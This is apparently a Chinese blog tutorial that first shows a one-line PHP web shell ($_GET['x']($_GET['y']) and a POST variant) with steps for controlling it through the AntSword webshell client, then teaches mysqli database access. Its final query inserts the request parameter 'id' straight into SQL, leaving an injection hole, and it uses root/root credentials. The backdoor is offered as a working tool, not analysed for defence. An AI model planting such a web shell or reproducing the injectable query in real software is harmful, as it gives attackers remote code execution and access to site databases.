php简单后门实现及php连接数据库

php简单后门实现

代码

php 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>easybackdoor</title>
</head>
<body>
    <?php
        $_GET['x']($_GET['y']);
    
    ?>
    
</body>
</html>

效果

使用蚁剑连接

php 复制代码
  <?php
        $_GET['x']($_POST['y']);
    ?>

使用hackbar传参,前面传assert

添加蚁剑数据,需要选择base64

连接成功

php连接数据库

相关函数

函数名 作用
mysqli_connect() 与MySQL 数据库建立连接。
mysqli_close() 关闭与MYSQL 数据库建立的连接。
mysqli_connect_errno() 与MySQL 数据库建立连接时,发生错误时的错误编号。
mysqli_connect_error() 与MySQL 数据库建立连接时,发生错误时的错误信息。
mysqli_query() 执行SQL 语句。
mysqli_errno() 执行SQL 语句时,发生错误的编号。
mysqli_error() 执行SQL 语句时,发生错误的信息。
mysqli_fetch_assoc() 从结果集对象中取数据,按条取数据。
函数 说明
mysqli_fetch_row() 以索引数组的方式获取一条记录的数据
mysqli_fetch_assoc() 以关联数组的方式获取一条记录的数据
mysqli_fetch_array() 以索引数组或关联数组的方式获取一条记录的数据
mysqli_fetch_all() 以索引数组或关联数组的方式获取全部记录的数据
mysqli_num_rows() 获取结果集对象中数据条数
mysqli_free_result() 释放与一个结果集合相关的内存

交互过程

  • 建立与MySQL 链接。
  • 执行SQL 语句,返回结果集对象。
  • 从结果集对象中取数据。
  • 关闭与MySQL 链接

建立链接

php 复制代码
$db_host = "127.0.0.1";
$db_user = "root";
$db_pass = "root";
$db_name = "bbs";

$link = @mysqli_connect($db_host, $db_user, $db_pass, $db_name);

如果链接成功,返回object(mysqli)1;否则,返回bool(false)。

$link 是对象类型的变量,相当于一个"令牌"。

捕获连接错误
  • 错误编号
  • 错误详情
php 复制代码
if(!$link){
    exit("[".mysqli_connect_errno()."] ".mysqli_connect_error());
}

关闭链接

php 复制代码
mysqli_close($link);

执行SQL

单条SQL 语句执行
php 复制代码
$sql = "select * from users1;";

$results =  mysqli_query($link, $sql);

如果SQL 语句正常执行,就会返回对象类型object(mysqli_result)#2 的数据;否则,bool(false)。

对于insert,delete,update 等不会返回数据的SQL 语句,在执行没有错误时将返回true。对于返回数据的SQL 语句执行成功的时候会返回结果集对象,可以使用操作结果集对象的函数来从中获取数据。

SQL 错误

如果在执行SQL 语句的时候发生错误,mysqli_query 将返回false。可以使用以下函数捕获错误原因:

php 复制代码
if(!$results){
    exit("[".mysqli_errno($link)."] ".mysqli_error($link));
}

完整代码实现

执行结果,遍历输出该表并写入表格

php 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>mysqlconnect</title>
</head>
<body>
    <?php
        $db_host="127.0.0.1";
        $db_user="root";
        $db_pass="root";
        $db_name="bbs";

        $link=@mysqli_connect($db_host, $db_user, $db_pass, $db_name);
        
        if(!$link){
            echo "link error<br>"."[".mysqli_connect_errno()."]".mysqli_connect_error();
            exit();
        }else{
            echo "link access";
        }

        $sql="select * from message;";
        $results=mysqli_query($link,$sql);
        if(!$results){
            echo "error,plz retry<br>"."[".mysqli_errno($link)."]".mysqli_error($link);
        }
        echo "<table border=2>";
        echo "<tr><td>id</td><td>uid</td>
              <td>title</td><td>content</td></tr>";
        while($result=mysqli_fetch_assoc($results)){
            echo "<tr>";
            foreach($result as $k => $v){
                echo "<td>";
                echo $v;
                echo "</td>";
            }
            echo "</tr>";
        }
        
        echo "</table>";
        mysqli_close($link); 

    ?>
    
</body>
</html>

可以实现根据id查询到数控,并且返回的有用户名了

复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>mysqlconnect</title>
</head>
<body>
    <?php
        $db_host="127.0.0.1";
        $db_user="root";
        $db_pass="root";
        $db_name="bbs";

        $link=@mysqli_connect($db_host, $db_user, $db_pass, $db_name);
        
        if(!$link){
            echo "link error<br>"."[".mysqli_connect_errno()."]".mysqli_connect_error();
            exit();
        }else{
            echo "link access";
        }
        $id=isset($_REQUEST['id'])?$_REQUEST['id']:1;
       
        $sql="select m.id,u.username,m.title,m.content from message m,user u where u.id=m.uid and m.id=$id;";
        $results=mysqli_query($link,$sql);
        if(!$results){
            echo "error,plz retry<br>"."[".mysqli_errno($link)."]".mysqli_error($link);
        }
        echo "<table border=2>";
        echo "<tr><td>id</td><td>username</td>
              <td>title</td><td>content</td></tr>";
        while($result=mysqli_fetch_assoc($results)){
            echo "<tr>";
            foreach($result as $k => $v){
                echo "<td>";
                echo $v;
                echo "</td>";
            }
            echo "</tr>";
        }
        
        echo "</table>";
        mysqli_close($link); 

    ?>
    
</body>
</html>
相关推荐
2601_962218617 小时前
万象生鲜系统业财一体化底层打通技术自动生成经营账单
大数据·数据库·人工智能·python·算法
2601_966949657 小时前
为什么量化策略需要大量历史股票数据?从回测可信度理解数据规模
开发语言·python·数据分析·pandas·量化交易·股票数据·quantdash
niucloud-admin7 小时前
JAVA V6 多商户商城 开发文档——插件目录结构
java·开发语言
滕州市燕猫虎计算机科技工作室个体工商户7 小时前
Java锁
java·开发语言
李高钢8 小时前
Python FastAPI 框架入门:从零搭建你的第一个高性能 API 服务
数据库·python·fastapi
多加点辣也没关系8 小时前
JavaScript|第31章:表单与控件
开发语言·javascript·ecmascript
菜鸟~noob2338 小时前
【电子战】 第09篇:阵列信号处理——波束形成、MVDR、MUSIC【含matlab代码】
开发语言·matlab·信号处理
ocean21038 小时前
2025-2026年Python面试高频知识点洞察
开发语言·python·面试·python八股文
零依赖极客8 小时前
Day 6·1 ARMv8.2 dotprod——vdotq_s32 一条指令做 4 个点积
c语言·开发语言·人工智能·矩阵·arm·vllm
Bruce_Liuxiaowei9 小时前
2026年9月第2周网络安全形势周报
网络·安全·web安全·网络安全·漏洞评级